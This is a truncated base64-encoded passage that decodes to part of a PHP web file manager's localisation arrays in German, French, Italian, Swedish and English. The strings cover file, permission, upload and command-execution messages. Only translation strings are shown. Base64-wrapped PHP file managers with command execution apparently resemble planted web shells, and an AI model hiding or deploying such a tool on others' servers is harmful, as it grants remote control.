JzsNCgkJJHdvcmRfY2hhcnNldCA9ICdJU08tODg1OS0xJzsNCg0KCQlyZXR1cm4gYXJyYXkoDQonZGlyZWN0b3J5JyA9PiAnVmVyemVpY2huaXMnLA0KJ2ZpbGUnID0+ICdEYXRlaScsDQonZmlsZW5hbWUnID0+ICdEYXRlaW5hbWUnLA0KDQonc2l6ZScgPT4gJ0dyw7bDn2UnLA0KJ3Blcm1pc3Npb24nID0+ICdSZWNodGUnLA0KJ293bmVyJyA9PiAnRWlnbmVyJywNCidncm91cCcgPT4gJ0dydXBwZScsDQonb3RoZXInID0+ICdBbmRlcmUnLA0KJ2Z1bmN0aW9ucycgPT4gJ0Z1bmt0aW9uZW4nLA0KDQoncmVhZCcgPT4gJ2xlc2VuJywNCid3cml0ZScgPT4gJ3NjaHJlaWJlbicsDQonZXhlY3V0ZScgPT4gJ2F1c2bDvGhyZW4nLA0KDQonY3JlYXRlX3N5bWxpbmsnID0+ICdTeW1saW5rIGVyc3RlbGxlbicsDQonZGVsZXRlJyA9PiAnbMO2c2NoZW4nLA0KJ3JlbmFtZScgPT4gJ3VtYmVuZW5uZW4nLA0KJ21vdmUnID0+ICd2ZXJzY2hpZWJlbicsDQonY29weScgPT4gJ2tvcGllcmVuJywNCidlZGl0JyA9PiAnZWRpdGllcmVuJywNCidkb3dubG9hZCcgPT4gJ2hlcnVudGVybGFkZW4nLA0KJ3VwbG9hZCcgPT4gJ2hvY2hsYWRlbicsDQonY3JlYXRlJyA9PiAnZXJzdGVsbGVuJywNCidjaGFuZ2UnID0+ICd3ZWNoc2VsbicsDQonc2F2ZScgPT4gJ3NwZWljaGVybicsDQonc2V0JyA9PiAnc2V0emUnLA0KJ3Jlc2V0JyA9PiAnenVyw7xja3NldHplbicsDQoncmVsYXRpdmUnID0+ICdQZmFkIHp1bSBaaWVsIHJlbGF0aXYnLA0KDQoneWVzJyA9PiAnSmEnLA0KJ25vJyA9PiAnTmVpbicsDQonYmFjaycgPT4gJ3p1csO8Y2snLA0KJ2Rlc3RpbmF0aW9uJyA9PiAnWmllbCcsDQonc3ltbGluaycgPT4gJ1N5bWJvbGlzY2hlciBMaW5rJywNCidub19vdXRwdXQnID0+ICdrZWluZSBBdXNnYWJlJywNCg0KJ3VzZXInID0+ICdCZW51dHplcm5hbWUnLA0KJ3Bhc3N3b3JkJyA9PiAnS2VubndvcnQnLA0KJ2FkZCcgPT4gJ2hpbnp1ZsO8Z2VuJywNCidhZGRfYmFzaWNfYXV0aCcgPT4gJ0hUVFAtQmFzaWMtQXV0aCBoaW56dWbDvGdlbicsDQoNCid1cGxvYWRlZCcgPT4gJyJbJTFdIiB3dXJkZSBob2NoZ2VsYWRlbi4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBrb25udGUgbmljaHQgaG9jaGdlbGFkZW4gd2VyZGVuLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZXhpc3RpZXJ0IGJlcmVpdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIHd1cmRlIGVyc3RlbGx0LicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIga29ubnRlIG5pY2h0IGVyc3RlbGx0IHdlcmRlbi4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdTb2xsZW4gZm9sZ2VuZGUgRGF0ZWllbiB3aXJrbGljaCBnZWzDtnNjaHQgd2VyZGVuPycsDQonZGVsZXRlZCcgPT4gIkZvbGdlbmRlIERhdGVpZW4gd3VyZGVuIGdlbMO2c2NodDpcblslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiRm9sZ2VuZGUgRGF0ZWllbiBrb25udGVuIG5pY2h0IGdlbMO2c2NodCB3ZXJkZW46XG5bJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ0JlbmVubmUgRGF0ZWkgdW06JywNCidyZW5hbWVkJyA9PiAnIlslMV0iIHd1cmRlIGluICJbJTJdIiB1bWJlbmFubnQuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIGtvbm50ZSBuaWNodCBpbiAiWyUyXSIgdW1iZW5hbm50IHdlcmRlbi4nLA0KJ21vdmVfZmlsZXMnID0+ICdWZXJzY2hpZWJlbiBmb2xnZW5kZSBEYXRlaWVuOicsDQonbW92ZWQnID0+ICJGb2xnZW5kZSBEYXRlaWVuIHd1cmRlbiBuYWNoIFwiWyUyXVwiIHZlcnNjaG9iZW46XG5bJTFdIiwNCidub3RfbW92ZWQnID0+ICJGb2xnZW5kZSBEYXRlaWVuIGtvbm50ZW4gbmljaHQgbmFjaCBcIlslMl1cIiB2ZXJzY2hvYmVuIHdlcmRlbjpcblslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdLb3BpZXJlIGZvbGdlbmRlIERhdGVpZW46JywNCidjb3BpZWQnID0+ICJGb2xnZW5kZSBEYXRlaWVuIHd1cmRlbiBuYWNoIFwiWyUyXVwiIGtvcGllcnQ6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiRm9sZ2VuZGUgRGF0ZWllbiBrb25udGVuIG5pY2h0IG5hY2ggXCJbJTJdXCIga29waWVydCB3ZXJkZW46XG5bJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIGthbm4gbmljaHQgZWRpdGllcnQgd2VyZGVuLicsDQonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiB3dXJkZSBlcmZvbGdyZWljaCBhdXNnZWbDvGhydDpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIGtvbm50ZSBuaWNodCBlcmZvbGdyZWljaCBhdXNnZWbDvGhydCB3ZXJkZW46XG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiB3dXJkZSBnZXNwZWljaGVydC4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBrb25udGUgbmljaHQgZ2VzcGVpY2hlcnQgd2VyZGVuLicsDQonc3ltbGlua2VkJyA9PiAnU3ltYm9saXNjaGVyIExpbmsgdm9uICJbJTJdIiBuYWNoICJbJTFdIiB3dXJkZSBlcnN0ZWxsdC4nLA0KJ25vdF9zeW1saW5rZWQnID0+ICdTeW1ib2xpc2NoZXIgTGluayB2b24gIlslMl0iIG5hY2ggIlslMV0iIGtvbm50ZSBuaWNodCBlcnN0ZWxsdCB3ZXJkZW4uJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1JlY2h0ZSBmw7xyICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnRGllIFJlY2h0ZSBmw7xyICJbJTFdIiB3dXJkZW4gYXVmIFslMl0gZ2VzZXR6dC4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ0RpZSBSZWNodGUgZsO8ciAiWyUxXSIga29ubnRlbiBuaWNodCBhdWYgWyUyXSBnZXNldHp0IHdlcmRlbi4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBrYW5uIG5pY2h0IGdlbGVzZW4gd2VyZGVuLicNCgkJKTsNCg0KCWNhc2UgJ2ZyJzoNCg0KCQkkZGF0ZV9mb3JtYXQgPSAnZC5tLnkgSDppOnMnOw0KCQkkd29yZF9jaGFyc2V0ID0gJ0lTTy04ODU5LTEnOw0KDQoJCXJldHVybiBhcnJheSgNCidkaXJlY3RvcnknID0+ICdSw6lwZXJ0b2lyZScsDQonZmlsZScgPT4gJ0ZpY2hpZXInLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tIGZpY2hpZXInLA0KDQonc2l6ZScgPT4gJ1RhaWxsZScsDQoncGVybWlzc2lvbicgPT4gJ0Ryb2l0cycsDQonb3duZXInID0+ICdQcm9wcmnDqXRhaXJlJywNCidncm91cCcgPT4gJ0dyb3VwZScsDQonb3RoZXInID0+ICdBdXRyZXMnLA0KJ2Z1bmN0aW9ucycgPT4gJ0ZvbmN0aW9ucycsDQoNCidyZWFkJyA9PiAnTGlyZScsDQond3JpdGUnID0+ICdFY3JpcmUnLA0KJ2V4ZWN1dGUnID0+ICdFeMOpY3V0ZXInLA0KDQonY3JlYXRlX3N5bWxpbmsnID0+ICdDcsOpZXIgbGllbiBzeW1ib2xpcXVlJywNCidkZWxldGUnID0+ICdFZmZhY2VyJywNCidyZW5hbWUnID0+ICdSZW5vbW1lcicsDQonbW92ZScgPT4gJ0TDqXBsYWNlcicsDQonY29weScgPT4gJ0NvcGllcicsDQonZWRpdCcgPT4gJ091dnJpcicsDQonZG93bmxvYWQnID0+ICdUw6lsw6ljaGFyZ2VyIHN1ciBQQycsDQondXBsb2FkJyA9PiAnVMOpbMOpY2hhcmdlciBzdXIgc2VydmV1cicsDQonY3JlYXRlJyA9PiAnQ3LDqWVyJywNCidjaGFuZ2UnID0+ICdDaGFuZ2VyJywNCidzYXZlJyA9PiAnU2F1dmVnYXJkZXInLA0KJ3NldCcgPT4gJ0V4w6ljdXRlcicsDQoncmVzZXQnID0+ICdSw6lpbml0aWFsaXNlcicsDQoncmVsYXRpdmUnID0+ICdSZWxhdGlmJywNCg0KJ3llcycgPT4gJ091aScsDQonbm8nID0+ICdOb24nLA0KJ2JhY2snID0+ICdSZXRvdXInLA0KJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLA0KJ3N5bWxpbmsnID0+ICdMaWVuIHN5bWJvbGxpcXVlJywNCidub19vdXRwdXQnID0+ICdQYXMgZGUgc29ydGllJywNCg0KJ3VzZXInID0+ICdVdGlsaXNhdGV1cicsDQoncGFzc3dvcmQnID0+ICdNb3QgZGUgcGFzc2UnLA0KJ2FkZCcgPT4gJ0Fqb3V0ZXInLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgYSDDqXTDqSB0w6lsw6ljaGFyZ8OpIHN1ciBsZSBzZXJ2ZXVyLicsDQonbm90X3VwbG9hZGVkJyA9PiAnIlslMV0iIG4gYSBwYXMgw6l0w6kgdMOpbMOpY2hhcmfDqSBzdXIgbGUgc2VydmV1ci4nLA0KJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0iIGV4aXN0ZSBkw6lqw6AuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGEgw6l0w6kgY3LDqcOpLicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIgbiBhIHBhcyBwdSDDqnRyZSBjcsOpw6kuJywNCidyZWFsbHlfZGVsZXRlJyA9PiAnRWZmYWNlciBsZSBmaWNoaWVyPycsDQonZGVsZXRlZCcgPT4gIkNlcyBmaWNoaWVycyBvbnQgw6l0w6kgZMOpdHVpdHM6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIkNlcyBmaWNoaWVycyBuIG9udCBwdSDDqnRyZSBkw6l0cnVpdHM6XG5bJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1Jlbm9tbWUgZmljaGllcjonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgYSDDqXTDqSByZW5vbW3DqSBlbiAiWyUyXSIuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIG4gYSBwYXMgcHUgw6p0cmUgcmVub21tw6kgZW4gIlslMl0iLicsDQonbW92ZV9maWxlcycgPT4gJ0TDqXBsYWNlciBjZXMgZmljaGllcnM6JywNCidtb3ZlZCcgPT4gIkNlcyBmaWNoaWVycyBvbnQgw6l0w6kgZMOpcGxhY8OpcyBlbiBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9tb3ZlZCcgPT4gIkNlcyBmaWNoaWVycyBuIG9udCBwYXMgcHUgw6p0cmUgZMOpcGxhY8OpcyBlbiBcIlslMl1cIjpcblslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdDb3BpZXIgY2VzIGZpY2hpZXJzOicsDQonY29waWVkJyA9PiAiQ2VzIGZpY2hpZXJzIG9udCDDqXTDqSBjb3Bpw6lzIGVuIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X2NvcGllZCcgPT4gIkNlcyBmaWNoaWVycyBuIG9udCBwYXMgcHUgw6p0cmUgY29wacOpcyBlbiBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgbmUgcGV1dCDDqnRyZSBvdXZlcnQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGEgw6l0w6kgYnJpbGxhbW1lbnQgZXjDqWN1dMOpIDpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIG4gYSBwYXMgcHUgw6p0cmUgZXjDqWN1dMOpOlxueyUyfSIsDQonc2F2ZWQnID0+ICciWyUxXSIgYSDDqXTDqSBzYXV2ZWdhcmTDqS4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBuIGEgcGFzIHB1IMOqdHJlIHNhdXZlZ2FyZMOpLicsDQonc3ltbGlua2VkJyA9PiAnVW4gbGllbiBzeW1ib2xpcXVlIGRlcHVpcyAiWyUyXSIgdmVycyAiWyUxXSIgYSDDqXTDqSBjcsOpZS4nLA0KJ25vdF9zeW1saW5rZWQnID0+ICdVbiBsaWVuIHN5bWJvbGlxdWUgZGVwdWlzICJbJTJdIiB2ZXJzICJbJTFdIiBuIGEgcGFzIHB1IMOqdHJlIGNyw6nDqS4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnRHJvaXRzIGRlICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnRHJvaXRzIGRlICJbJTFdIiBvbnQgw6l0w6kgY2hhbmfDqXMgZW4gWyUyXS4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ0Ryb2l0cyBkZSAiWyUxXSIgbiBvbnQgcGFzIHB1IMOqdHJlIGNoYW5nw6lzIGVuWyUyXS4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBuZSBwZXV0IHBhcyDDqnRyZSBvdXZlcnQuJw0KCQkpOw0KDQoJY2FzZSAnaXQnOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICdkLW0tWSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tZSBGaWxlJywNCg0KJ3NpemUnID0+ICdEaW1lbnNpb25pJywNCidwZXJtaXNzaW9uJyA9PiAnUGVybWVzc2knLA0KJ293bmVyJyA9PiAnUHJvcHJpZXRhcmlvJywNCidncm91cCcgPT4gJ0dydXBwbycsDQonb3RoZXInID0+ICdBbHRybycsDQonZnVuY3Rpb25zJyA9PiAnRnVuemlvbmknLA0KDQoncmVhZCcgPT4gJ2xlZ2dpJywNCid3cml0ZScgPT4gJ3Njcml2aScsDQonZXhlY3V0ZScgPT4gJ2VzZWd1aScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWEgbGluayBzaW1ib2xpY28nLA0KJ2RlbGV0ZScgPT4gJ2NhbmNlbGxhJywNCidyZW5hbWUnID0+ICdyaW5vbWluYScsDQonbW92ZScgPT4gJ3Nwb3N0YScsDQonY29weScgPT4gJ2NvcGlhJywNCidlZGl0JyA9PiAnbW9kaWZpY2EnLA0KJ2Rvd25sb2FkJyA9PiAnZG93bmxvYWQnLA0KJ3VwbG9hZCcgPT4gJ3VwbG9hZCcsDQonY3JlYXRlJyA9PiAnY3JlYScsDQonY2hhbmdlJyA9PiAnY2FtYmlhJywNCidzYXZlJyA9PiAnc2FsdmEnLA0KJ3NldCcgPT4gJ2ltcG9zdGEnLA0KJ3Jlc2V0JyA9PiAncmVpbXBvc3RhJywNCidyZWxhdGl2ZScgPT4gJ1BlcmNvcnNvIHJlbGF0aXZvIHBlciBsYSBkZXN0aW5hemlvbmUnLA0KDQoneWVzJyA9PiAnU2knLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdpbmRpZXRybycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hemlvbmUnLA0KJ3N5bWxpbmsnID0+ICdMaW5rIHNpbWJvbGljbycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZ2dpdW5naScsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICdhZ2dpdW5naSBhdXRlbnRpY2F6aW9uZSBiYXNlJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iIMOoIHN0YXRvIGNhcmljYXRvLicsDQonbm90X3VwbG9hZGVkJyA9PiAnIlslMV0iIG5vbiDDqCBzdGF0byBjYXJpY2F0by4nLA0KJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0iIGVzaXN0ZSBnacOgLicsDQonY3JlYXRlZCcgPT4gJyJbJTFdIiDDqCBzdGF0byBjcmVhdG8uJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBub24gw6ggc3RhdG8gY3JlYXRvLicsDQoncmVhbGx5X2RlbGV0ZScgPT4gJ0NhbmNlbGxvIHF1ZXN0aSBmaWxlID8nLA0KJ2RlbGV0ZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIGNhbmNlbGxhdGk6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIlF1ZXN0aSBmaWxlIG5vbiBwb3Nzb25vIGVzc2VyZSBjYW5jZWxsYXRpOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdGaWxlIHJpbm9taW5hdG86JywNCidyZW5hbWVkJyA9PiAnIlslMV0iIMOoIHN0YXRvIHJpbm9taW5hdG8gaW4gIlslMl0iLicsDQonbm90X3JlbmFtZWQnID0+ICciWyUxXSBub24gw6ggc3RhdG8gcmlub21pbmF0byBpbiAiWyUyXSIuJywNCidtb3ZlX2ZpbGVzJyA9PiAnU3Bvc3RvIHF1ZXN0aSBmaWxlOicsDQonbW92ZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIHNwb3N0YXRpIGluIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X21vdmVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIHNwb3N0YXRpIGluIFwiWyUyXVwiOlxuWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0NvcGlvIHF1ZXN0aSBmaWxlJywNCidjb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIGNvcGlhdGkgaW4gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIGNvcGlhdGkgaW4gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIG5vbiBwdcOyIGVzc2VyZSBtb2RpZmljYXRvLicsDQonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiDDqCBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc286XG57JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBub24gw6ggc3RhdG8gZXNlZ3VpdG8gY29uIHN1Y2Nlc3NvXG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiDDqCBzdGF0byBzYWx2YXRvLicsDQonbm90X3NhdmVkJyA9PiAnIlslMV0iIG5vbiDDqCBzdGF0byBzYWx2YXRvLicsDQonc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiDDqCBzdGF0byBjcmVhdG8uJywNCidub3Rfc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiBub24gw6ggc3RhdG8gY3JlYXRvLicsDQoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtZXNzaSBkaSAiWyUxXSI6JywNCidwZXJtaXNzaW9uX3NldCcgPT4gJ0kgcGVybWVzc2kgZGkgIlslMV0iIHNvbm8gc3RhdGkgaW1wb3N0YXRpIFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBub24gc29ubyBzdGF0aSBpbXBvc3RhdGkgWyUyXS4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBub24gcHXDsiBlc3NlcmUgbGV0dG8uJw0KCQkpOw0KDQoJY2FzZSAnc2UnOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQogDQoJCXJldHVybiBhcnJheSgNCidkaXJlY3RvcnknID0+ICdNYXBwJywNCidmaWxlJyA9PiAnRmlsJywNCidmaWxlbmFtZScgPT4gJ0ZpbG5hbW4nLA0KIA0KJ3NpemUnID0+ICdTdG9ybGVrJywNCidwZXJtaXNzaW9uJyA9PiAnU8Oka2VyaGV0c25pdsOlJywNCidvd25lcicgPT4gJ8OEZ2FyZScsDQonZ3JvdXAnID0+ICdHcnVwcCcsDQonb3RoZXInID0+ICdBbmRyYScsDQonZnVuY3Rpb25zJyA9PiAnRnVua3Rpb25lcicsDQogDQoncmVhZCcgPT4gJ0zDpHMnLA0KJ3dyaXRlJyA9PiAnU2tyaXYnLA0KJ2V4ZWN1dGUnID0+ICdVdGbDtnInLA0KIA0KJ2NyZWF0ZV9zeW1saW5rJyA9PiAnU2thcGEgc3ltbGluaycsDQonZGVsZXRlJyA9PiAnUmFkZXJhJywNCidyZW5hbWUnID0+ICdCeXQgbmFtbicsDQonbW92ZScgPT4gJ0ZseXR0YScsDQonY29weScgPT4gJ0tvcGllcmEnLA0KJ2VkaXQnID0+ICfDhG5kcmEnLA0KJ2Rvd25sb2FkJyA9PiAnTGFkZGEgbmVyJywNCid1cGxvYWQnID0+ICdMYWRkYSB1cHAnLA0KJ2NyZWF0ZScgPT4gJ1NrYXBhJywNCidjaGFuZ2UnID0+ICfDhG5kcmEnLA0KJ3NhdmUnID0+ICdTcGFyYScsDQonc2V0JyA9PiAnTWFya2VyYScsDQoncmVzZXQnID0+ICdUw7ZtJywNCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFyZ2V0JywNCiANCid5ZXMnID0+ICdKYScsDQonbm8nID0+ICdOZWonLA0KJ2JhY2snID0+ICdUaWxsYmFrcycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hdGlvbicsDQonc3ltbGluaycgPT4gJ1N5bWxpbmsnLA0KJ25vX291dHB1dCcgPT4gJ25vIG91dHB1dCcsDQogDQondXNlcicgPT4gJ0FudsOkbmRhcmUnLA0KJ3Bhc3N3b3JkJyA9PiAnTMO2c2Vub3JkJywNCidhZGQnID0+ICdMw6RnZyB0aWxsJywNCidhZGRfYmFzaWNfYXV0aCcgPT4gJ2FkZCBiYXNpYy1hdXRoZW50aWZpY2F0aW9uJywNCiANCid1cGxvYWRlZCcgPT4gJyJbJTFdIiBoYXIgbGFkZGF0cyB1cHAuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBsYWRkYXMgdXBwLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZmlubnMgcmVkYW4uJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhciBza2FwYXRzLicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBza2FwYXMuJywNCidyZWFsbHlfZGVsZXRlJyA9PiAnUmFkZXJhIGRlc3NhIGZpbGVyPycsDQonZGVsZXRlZCcgPT4gIkRlIGjDpHIgZmlsZXJuYSBoYXIgcmFkZXJhdHM6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIkRlc3NhIGZpbGVyIGt1bmRlIGludGUgcmFkZXJhczpcblslMV0iLA0KJ3JlbmFtZV9maWxlJyA9PiAnQnl0IG5hbW4gcMOlIGZpbDonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFyIGJ5dHQgbmFtbiB0aWxsICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0ga3VuZGUgaW50ZSBkw7ZwYXMgb20gdGlsbCAiWyUyXSIuJywNCidtb3ZlX2ZpbGVzJyA9PiAnRmx5dHRhIGRlc3NhIGZpbGVyOicsDQonbW92ZWQnID0+ICJEZXNzYSBmaWxlciBoYXIgZmx5dHRhdHMgdGlsbCBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9tb3ZlZCcgPT4gIkRlc3NhIGZpbGVyIGt1bmRlIGludGUgZmx5dHRhcyB0aWxsIFwiWyUyXVwiOlxuWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0tvcGllcmEgZGVzc2EgZmlsZXI6JywNCidjb3BpZWQnID0+ICJEZXNzYSBmaWxlciBoYXIga29waWVyYXRzIHRpbGwgXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiRGVzc2EgZmlsZXIga3VuZGUgaW50ZSBrb3BpZXJhcyB0aWxsIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBrYW4gaW50ZSDDpG5kcmFzLicsDQonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBoYXIgdXRmw7ZydHM6XG57JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBrdW5kZSBpbnRlIHV0ZsO2cmFzOlxueyUyfSIsDQonc2F2ZWQnID0+ICciWyUxXSIgaGFyIHNwYXJhdHMuJywNCidub3Rfc2F2ZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBzcGFyYXMuJywNCidzeW1saW5rZWQnID0+ICdTeW1saW5rIGZyw6VuICJbJTJdIiB0aWxsICJbJTFdIiBoYXIgc2thcGF0cy4nLA0KJ25vdF9zeW1saW5rZWQnID0+ICdTeW1saW5rIGZyw6VuICJbJTJdIiB0aWxsICJbJTFdIiBrdW5kZSBpbnRlIHNrYXBhcy4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnUsOkdHRpZ2hldGVyIGbDtnIgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdSw6R0dGlnaGV0ZXIgZsO2ciAiWyUxXSIgw6RuZHJhZGVzIHRpbGwgWyUyXS4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iIGNvdWxkIG5vdCBiZSBzZXQgdG8gWyUyXS4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBrYW4gaW50ZSBsw6RzYXMuJw0KCQkpOw0KDQoJY2FzZSAnZW4nOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLA0KDQonc2l6ZScgPT4gJ1NpemUnLA0KJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywNCidvd25lcicgPT4gJ093bmVyJywNCidncm91cCcgPT4gJ0dyb3VwJywNCidvdGhlcicgPT4gJ090aGVycycsDQonZnVuY3Rpb25zJyA9PiAnRnVuY3Rpb25zJywNCg0KJ3JlYWQnID0+ICdyZWFkJywNCid3cml0ZScgPT4gJ3dyaXRlJywNCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywNCidkZWxldGUnID0+ICdkZWxldGUnLA0KJ3JlbmFtZScgPT4gJ3JlbmFtZScsDQonbW92ZScgPT4gJ21vdmUnLA0KJ2NvcHknID0+ICdjb3B5JywNCidlZGl0JyA9PiAnZWRpdCcsDQonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsDQondXBsb2FkJyA9PiAndXBsb2FkJywNCidjcmVhdGUnID0+ICdjcmVhdGUnLA0KJ2NoYW5nZScgPT4gJ2NoYW5nZScsDQonc2F2ZScgPT4gJ3NhdmUnLA0KJ3NldCcgPT4gJ3NldCcsDQoncmVzZXQnID0+ICdyZXNldCcsDQoncmVsYXRpdmUnID0+ICdSZWxhdGl2ZSBwYXRoIHRvIHRhcmdldCcsDQoNCid5ZXMnID0+ICdZZXMnLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdiYWNrJywNCidkZXN0aW5hdGlvbicgPT4gJ0Rlc3RpbmF0aW9uJywNCidzeW1saW5rJyA9PiAnU3ltbGluaycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZGQnLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIgY291bGQgbm90IG